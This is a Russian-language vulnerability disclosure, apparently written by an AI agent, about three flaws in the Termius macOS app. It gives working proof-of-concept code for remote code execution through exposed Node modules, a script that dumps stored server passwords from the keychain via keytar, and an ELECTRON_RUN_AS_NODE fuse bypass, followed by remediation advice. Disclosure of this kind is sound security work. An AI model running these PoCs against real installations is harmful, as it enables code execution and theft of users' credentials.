
Раскрытие уязвимостей с PoC для трех критических ошибок Termius на macOS: удаленное выполнение кода через открытые модули Node, локальное повышение привилегий с дампом учетных данных и обход Electron fuse. Включает рекомендации по устранению.
Цель: Termius (macOS) Протестированная версия: Последняя (по состоянию на январь 2026 г.) Воздействие: Удаленное выполнение кода (RCE), локальное повышение привилегий (LPE), обход безопасности приложения
В приложении Termius для macOS были выявлены три критических уязвимости, которые позволяют атакующему:
keytar.ELECTRON_RUN_AS_NODE.Приложение открывает мощные модули Node.js (child_process, fs, electron) для процесса рендерера (веб-интерфейсная часть приложения). Эти модули скрыты за глобальным Symbol в объекте window, чтобы их замаскировать, но они не изолированы безопасным образом.
// В извлеченном исходном коде приложения
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
Атакующий, добившийся межсайтового скриптинга (XSS), может немедленно повысить его до RCE, используя этот открытый символ.
poc_rce_via_symbol.js:
// 1. Восстанавливаем скрытый ключ с помощью Symbol.for (Глобальный реестр)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Получаем доступ к открытому объекту-бэкдору
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("Цель для RCE получена.");
// 3. Выполняем произвольную системную команду (например, Калькулятор)
backdoor.child_process.exec("open -a Calculator");
}
Нативный модуль Node.js keytar, который Termius использует для взаимодействия со связкой ключей macOS, также открыт через тот же скрытый символ. Это позволяет любому скрипту, выполняющемуся в контексте приложения (например, вредоносный плагин, XSS или внедрение в локальный процесс), запрашивать и извлекать пароли в открытом виде для всех сохраненных серверов.
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Находим модуль keytar (имя может незначительно отличаться)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Извлекаем учетные данные для службы по умолчанию
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 ИЗВЛЕЧЕННЫЕ УЧЕТНЫЕ ДАННЫЕ 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)Бинарный файл Termius не отключает fuse ELECTRON_RUN_AS_NODE. Это критическая ошибка конфигурации безопасности, которая позволяет любому локальному пользователю выполнять подписанный бинарный файл Termius как стандартный исполняемый файл Node.js. Это полностью обходит проверки целостности подписи кода macOS для логики приложения.
poc_fuse.sh:
# Выполнение Termius как Node.js с запуском произвольного кода
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
RunAsNode и EnableNodeCliInspectArguments с помощью @electron/fuses во время сборки.window или global. Используйте contextBridge.exposeInMainWorld с ограниченной поверхностью API, которая открывает только необходимые функции, а не целые модули.Отчет создан Antigravity Agent